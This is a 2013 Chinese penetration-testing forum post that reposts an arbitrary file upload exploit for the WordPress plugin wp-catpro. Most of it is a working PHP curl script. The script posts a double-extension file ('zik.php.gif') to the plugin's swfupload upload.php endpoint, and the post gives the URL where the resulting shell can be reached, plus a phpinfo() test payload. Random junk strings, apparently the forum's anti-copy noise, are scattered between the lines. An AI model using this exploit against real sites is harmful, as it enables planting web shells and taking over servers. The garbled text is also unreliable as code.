中国网络渗透测试联盟
标题:
WordPress插件wp-catpro任意文件上传
[打印本页]
作者:
admin
时间:
2013-2-27 20:12
标题:
WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
0 u6 ^- h: x, P# P, b6 N
#-----------------------------------------------------------------------
: t4 S: N1 X* w. n
' }1 A) c, z! z5 q$ C
作者 => Zikou-16
; i- V* w( W8 q6 N* O
邮箱 =>
zikou16x@gmail.com
5 P$ D3 t# r/ `: f6 T; L
测试系统 : Windows 7 , Backtrack 5r3
+ B# ]4 y Y/ [/ B
下载地址 :
http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
6 F3 I: r% }4 S% Z
####
% j: {5 p% v, x |5 {! P7 A% H
' b0 r4 y$ t$ k6 r) ]& C
#=> Exploit 信息:
2 K% d1 _8 Z# X6 W
------------------
- s% \6 m2 B9 {0 o/ s% h
# 攻击者可以上传 file/shell.php.gif
# U: M6 Y" r6 F) Q' Q. t
# ("jpg", "gif", "png") // Allowed file extensions
5 G8 T4 f. `7 P% t
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
8 e) f& ], Y4 e
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
. X! ?6 C; a5 ^8 n' R9 L0 @
------------------
' |! ?) d- y- t! y
6 A- M; B. n- I+ {+ o H
#=> Exploit
% }5 i/ l2 @8 q4 c, D3 f
-----------
! p% L3 Z' D3 L# w4 V7 [
<?php
4 G" g ]) e+ w' z) s
9 Z* A; g% z3 M% h0 u. P' I' K
$uploadfile="zik.php.gif";
$ Q5 A7 x9 j$ R: }
$ch = curl_init("http://[
www.2cto.com
]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
4 R! L4 C W2 E
curl_setopt($ch, CURLOPT_POST, true);
# R4 L4 o3 d' v6 o5 {! _
curl_setopt($ch, CURLOPT_POSTFIELDS,
; n' v* z2 n& n/ h$ p. Y
array('Filedata'=>"@$uploadfile",
% V8 v L# H4 s
'folder'=>'/wp-content/uploads/catpro/'));
+ g' Q. j# B I( p
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
* B: {( ^% F0 x+ ?3 O& e9 p
$postResult = curl_exec($ch);
( p2 Z6 X9 |5 j9 `
curl_close($ch);
# a5 T. Q; `6 e8 u: \; B' r6 k
1 Z& {, r3 S! y- |6 e
print "$postResult";
, d0 e7 V: W1 ~3 \) A/ |1 c8 P S7 x0 u8 m
# n4 ~8 x1 Z# s) s. B
Shell Access : http://[
www.xxx.com
]/[path]/wp-content/uploads/catpro/random_name.php.gif
) U9 [: b' E& H: k
?>
$ K" i) }( W* ]* T
<?php
v' k: F! V" ~+ M' n! G
phpinfo();
- L7 O3 N4 d& h- N
?>
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2